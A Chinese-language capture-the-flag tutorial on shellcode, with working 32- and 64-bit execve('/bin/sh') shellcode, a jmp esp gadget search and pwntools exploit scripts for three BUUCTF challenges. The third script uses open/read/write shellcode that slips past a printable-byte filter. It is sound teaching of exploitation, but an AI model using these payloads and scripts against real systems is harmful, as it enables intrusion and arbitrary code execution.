shellcode的定义

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

常用指令
得到jmp_esp地址

ROPgadget --binary 文件名 --only “jmp”

1
2
3
4
5
6
7
8
9
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp <--

未开沙箱

没有开沙箱的话可以直接系统调用getshell

32位程序系统调用

32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄存器(esp,ebp).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//这是我们要构造的:
execv('/bin/sh',0,0) //从左到右一次传参数进入ebx,ecx,edx寄存器
汇编如下:
shell = '''
push 0 // 隔开/bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb //execv的系统调用号为11,即0xb
int 0x80 //进入系统调用
'''

64位程序系统调用

64位程序通过寄存器传参,当参数少于7个时,程序将参数从左到右依次传递至rdi,rsi,rdx,rcx,r8,r9.当参数多于7个时,如下传参

1
2
3
4
5
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H

具体操作:

1
2
3
4
5
6
7
8
9
10
11
shell = '''
mov rbx, 0x68732f6e69622f //这里没有严格的传参限制,也可以传到其他寄存器中
push rbx //将'/bin/sh'压入栈
push rsp //压入rsp
pop rdi //将'/bin/sh'传递给rdi
xor esi, esi //将esi置0
xor edx, edx //将edx置0
push 0x3b //系统调用号
pop rax //这里也可以直接去掉'push 0x3b;pop rax'改为mov rax, 0x3b
syscall //系统调用
'''

示例

选取两道buuctf的示例

picoctf_2018_shellcode

1
2
3
ubuntu@vm:~$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 2028 Symbols No 0 0 pwn

可以发现没有任何的保护机制,很明显就是要写shellcode

程序是不可以Ctrl+f5的,跟进发现问题在这:

1
2
3
4
5
6
7
8
9
.text:0804890F                 call    puts
.text:08048914 add esp, 10h
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax //<--
.text:0804891F mov eax, 0
.text:08048924 mov ecx, [ebp+var_4]
.text:08048927 leave
.text:08048928 lea esp, [ecx-4]
.text:0804892B retn

如果我们控制了rax寄存器,就可以执行shellcode了,大家可以自己分析,动态调试,发现我们输入的数据正好会被传入rax寄存器中,进行执行,所以下边我们来进行shellcode的编写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./PicoCTF_2018_shellcode')
#io = remote('node4.buuoj.cn',28317)
io = process('./PicoCTF_2018_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='i386')
io.recvuntil('!')
gdb.attach(io)
shellcode = '''
push 0
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb
int 0x80
'''
io.sendline(asm(shellcode))
io.interactive()

mrctf2020_shellcode

1
2
3
ubuntu@vm:~$ checksec --file=mrctf2020_shellcode
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 68 Symbols No 0 1 mrctf2020_shellcode

程序会让我们输入0x400的字节,并通过分析会将我们输入的字节传到rax寄存器中,所以我们还是通过控制rax寄存器来执行shellcode从而get shell.

1
2
3
4
.text:00000000000011D6 loc_11D6:                               ; CODE XREF: main+78↑j
.text:00000000000011D6 lea rax, [rbp+buf]
.text:00000000000011DD call rax
.text:00000000000011DF mov eax, 0

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
#coding=utf-8

from pwn import*

#io =remote("node4.buuoj.cn",25981)
io = process('./mrctf2020_shellcode')
elf = ELF('./mrctf2020_shellcode')
#libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')
io.recvuntil('!')
shellcode = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
#gdb.attach(io)
io.sendline(asm(shellcode))
io.interactive()

上述代码将shellcode自己写了出来,实际上可以通过shellcraft.sh()自动生成
例:
picoctf_2018_shellcode exp:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./PicoCTF_2018_shellcode')
#io = remote('node4.buuoj.cn',28317)
io = process('./PicoCTF_2018_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='i386') #注:32位程序一定要用i386,否则生成的shellcode不匹配
io.recvuntil('!')
gdb.attach(io)
io.sendline(asm(shellcraft.sh()))
io.interactive()

开启沙箱

BUUCTF_gwctf_2019_shellcode

1、strlen函数是可以被00给截断的,而shellcode本身执行的时候并不会因为00截断。
2、push一个字符串的话,比如push 0x67616c66 (这个是flag),不足八字节,push的时候会自动填充00补全八字节,从而占满一个内存单元。


逻辑就是执行is_printable之后,去将eax与自身相与,如果eax的值为1,test执行之后的运算结果为1(标志寄存器的值为0,否则反之)如果标志寄存器的值为1,则jz指令进行跳转,跳转到loc_AC1函数,如果触发了该函数则程序直接结束,并不会触发call rax的指令,如果jz不进行跳转,则执行call rax(执行完lea之后,rax的值存放的就是read函数输入进去的内容,因此我们输入的时候直接布置shellcode即可)。

is_printable:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall is_printable(const char *a1)
{
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i < strlen(a1); ++i )
{
if ( a1[i] <= 31 || a1[i] == 127 )
return 0LL;
}
return 1LL;

strlen函数是可以被00截断的,也就是说只要让shellcode中出现00,并且在00之前的是可见字符就ok了,因为strlen获取的长度就到00这里。

还有一点

1
2
3
4
5
6
.text:0000000000000A9A                 call    read
.text:0000000000000A9F sub eax, 1
.text:0000000000000AA2 cdqe
.text:0000000000000AA4 mov [rbp+rax+s], 0 //<--
.text:0000000000000AA9 lea rax, [rbp+s]
.text:0000000000000AAD mov rdi, rax

在程序末尾存在一个指令,会将输入的最后一个字节改为0

因此可以在syscall后多加一个指令避免。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote('node4.buuoj.cn',28435)
shellcode=asm('''
push 0x67616c66
push rsp
pop rdi
#上面这两步就是在传open的第一个参数,这个参数要是一个地址,这个地址要指向字符串'flag'
#执行完push 0x67616c66的时候,栈顶的内容就是字符串flag,而栈顶指针rsp就指向了这个flag,此时执行push rsp将指向flag的地址(也就是rsp)压栈,此时栈顶的内容就是那个指向flag的地址,然后再执行pop rdi
#将栈顶的这个内容弹给rdi,此时open的第一个参数就成为了指向flag的地址
push 0#这个push 0这里就会出现机器码00,用来截断strlen函数
pop rsi
push 2
pop rax
syscall

push 3
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 0
pop rax
syscall

push 1
pop rdi
push rsp
pop rsi
#这个地方的push rsp pop rsi原理同上
push 0x50
pop rdx
push 1
pop rax
syscall

nop #在syscall后多加一个指令
''')
print(hex(len(shellcode)))
p.send(shellcode)
p.interactive()

未完待续…